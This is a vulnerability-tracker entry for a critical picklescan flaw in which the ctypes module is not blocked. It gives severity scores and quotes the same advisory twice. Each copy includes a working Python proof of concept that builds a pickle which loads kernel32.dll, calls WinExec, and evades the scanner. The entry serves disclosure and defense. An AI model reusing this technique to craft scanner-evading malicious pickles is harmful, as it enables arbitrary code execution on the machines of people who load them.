CVE-2025-71323

criticalpriority · track · 0EPSS 0.010 · 62 %ileEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.99% (62nd) EPSS
CVSS 9.8 · critical
Is it mine?
2 products
Check your exposure
Who says so?
3 sources
cnnvd · enisa_euvd · osv

EPSS · scored 2026-10-28

picklescan before 0.0.33 fails to block the ctypes module, allowing attackers to achieve remote code execution by invoking direct syscalls and accessing raw memory. Attackers can craft malicious pickle files using ctypes.WinDLL to load kernel32.dll and execute arbitrary commands, bypassing sandbox protections and gadget chain detection.

01

cvss

Technical severity, 0–10. One row per scoring source.

9.8
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · high–critical · 8.1–9.8

v3.19.8criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hsecondary · disclosure@vulncheck.comexploitability 3.9 · impact 5.9
v3.19.8criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hsecondary · OSV
v4.09.3criticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:Nsecondary · ENISA EU
v4.09.3criticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · disclosure@vulncheck.com
v4.08.1highCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (2)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-4675-36f9-wf6rPicklescan does not block ctypes2025-12-29ghsa · osvUS

    ### Summary Picklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to * Load DLLs * Call C functions directly * Manipulate memory raw pointers. This can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory. This is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected ### PoC ```python import pickle import ctypes import operator class Kernel32Loader: def __reduce__(self): #we go direct to the kerneeellllllll return (ctypes.WinDLL, ("kernel32.dll",)) class WinExecGetter: def __reduce__(self): return (operator.itemgetter("WinExec"), (Kernel32Loader(),)) class PopCalc: def __reduce__(self): #methodcaller to invoke "__call__" on the function pointer. return ( operator.methodcaller("__call__", b"calc.exe", 1), (WinExecGetter(),) ) try: payload = pickle.dumps(PopCalc()) with open("calc_exploit.pkl", "wb") as f: f.write(payload) print("Generated 'calc_exploit.pkl'") except Exception as e: print(f"Generation failed: {e}") ``` This will create a pickle file which is not detected by the latest version of picklescan as malicious ```python import pickle print("Loading bypass.pkl...") pickle.load(open("calc_exploit.pkl", "rb")) ``` <img width="1333" height="677" alt="image" src="https://github.com/user-attachments/assets/f5b066f3-116a-4377-a538-f293f3a6c176" />

  • PYSEC-2026-1782Picklescan does not block ctypes2026-07-07vendor · osvUS

    ### Summary Picklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to * Load DLLs * Call C functions directly * Manipulate memory raw pointers. This can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory. This is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected ### PoC ```python import pickle import ctypes import operator class Kernel32Loader: def __reduce__(self): #we go direct to the kerneeellllllll return (ctypes.WinDLL, ("kernel32.dll",)) class WinExecGetter: def __reduce__(self): return (operator.itemgetter("WinExec"), (Kernel32Loader(),)) class PopCalc: def __reduce__(self): #methodcaller to invoke "__call__" on the function pointer. return ( operator.methodcaller("__call__", b"calc.exe", 1), (WinExecGetter(),) ) try: payload = pickle.dumps(PopCalc()) with open("calc_exploit.pkl", "wb") as f: f.write(payload) print("Generated 'calc_exploit.pkl'") except Exception as e: print(f"Generation failed: {e}") ``` This will create a pickle file which is not detected by the latest version of picklescan as malicious ```python import pickle print("Loading bypass.pkl...") pickle.load(open("calc_exploit.pkl", "rb")) ``` <img width="1333" height="677" alt="image" src="https://github.com/user-attachments/assets/f5b066f3-116a-4377-a538-f293f3a6c176" />

06

also known as (6)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-06-17modified 2026-06-17
08

references (6)

External citations — patches, advisories, analysis.

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